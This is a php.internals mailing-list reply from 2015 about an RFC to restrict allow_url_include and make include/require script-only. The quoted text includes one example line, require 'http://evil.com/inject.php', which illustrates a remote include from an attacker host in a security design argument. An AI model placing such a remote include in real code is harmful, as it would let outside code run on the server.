Newsgroups: php.internals
Path: news.php.net
Xref: news.php.net php.internals:83949
Mailing-List: contact internals-help@lists.php.net; run by ezmlm
Received-SPF: pass (pb1.pair.com: domain gmail.com designates 209.85.192.51 as permitted sender)
MIME-Version: 1.0
Sender: yohgaki@gmail.com
In-Reply-To: <54EFA3AC.9070406@gmail.com>
References: <CAGa2bXbt9FAdRtW1GxDyT+G-4bWBACTso_DOizcSHmmgmSVtmA@mail.gmail.com>
 <CAGa2bXb5QEKOggRbUnmVHuib=P_tJ9_W+QyMa_SCpc7RmSCgSA@mail.gmail.com>
 <54EE50CF.9090508@gmail.com> <CALwr1GmoAxfbKvJYVLeL3wPXEKKbu1jKGkTFcG0KQ_Ogx172sA@mail.gmail.com>
 <54EE5A39.9040401@gmail.com> <CAGa2bXYWQCZA8_-EpQcb_Af7DT-_FV7HdfAHZrVt4V7i7vEURg@mail.gmail.com>
 <54EEDE8E.6070201@gmail.com> <CAGa2bXamvrxJR=KBoygrwM=3RrHdB6cpuTJxcwVaY1jrUQ-4iQ@mail.gmail.com>
 <CAGa2bXYxrntPuWfe_W=foS1YX_J9L41FFgJizwcq5C=czbouaA@mail.gmail.com> <54EFA3AC.9070406@gmail.com>
Date: Fri, 27 Feb 2015 10:36:52 +0900
Message-ID: <CAGa2bXYL84_nS=m0eaqoUjD+Dt-MHt+FtVsM6eaAVbVqX21qBg@mail.gmail.com>
To: Stanislav Malyshev <smalyshev@gmail.com>
Cc: "internals@lists.php.net" <internals@lists.php.net>
Content-Type: multipart/alternative; boundary=001a113538628de47f051007e95c
Subject: Re: [PHP-DEV] Re: [RFC][VOTE] Introduce script only include/require
From: yohgaki@ohgaki.net (Yasuo Ohgaki)

--001a113538628de47f051007e95c
Content-Type: text/plain; charset=UTF-8

Hi Stas,

On Fri, Feb 27, 2015 at 7:52 AM, Stanislav Malyshev <smalyshev@gmail.com>
wrote:

> > SInce allow_url_include change is very simple one, I've just made new RFC
> > for it.
> >
> > https://wiki.php.net/rfc/allow_url_include
> >
> > If you find any other issue like this that relates to this RFC, please
> > let me know
> > I'll put this discussion shortly.
>
> I'm not sure what this RFC is trying to achieve. I.e. why make it
> INI_ALL? Setting it to off instantly allows remote includes, etc. so if
> you are at all worried about vulnerable includes, you'd never tell
> anybody to enable it (there can be rare cases where you want to enable
> it, but really if you know what you're doing - that's why the level is
> so high, supposedly if you have access to SYSTEM, you run the server so
> you're supposed to know some stuff about security or at least it's your
> own server you're ruining if you don't).
>
> As for the second part - banning all streams from allow_url_include -
> that would be pretty huge BC break, as streams are used in many
> scenarios where you may need virtual FSs, filters, etc. It is a very
> handy tool. Current setting allows you to operate inside your local
> security domain while cutting off content that comes from outside of
> your domain. Your proposal would give the user the choice of either to
> disable streams completely and lose all benefits coming with them - or
> allow everything completely, including require
> "http://evil.com/inject.php". That's not a good choice to give to the
> users.


I've updated the RFC so that allow_url_include be a include/require
parameter.
Since include/require parse and load another script, INI doesn't work well.

It's parameter now, so BC wouldn't be huge.

I'm not using phar regularly, feedback from phar users are welcomed.

Regards,

--
Yasuo Ohgaki
yohgaki@ohgaki.net

--001a113538628de47f051007e95c--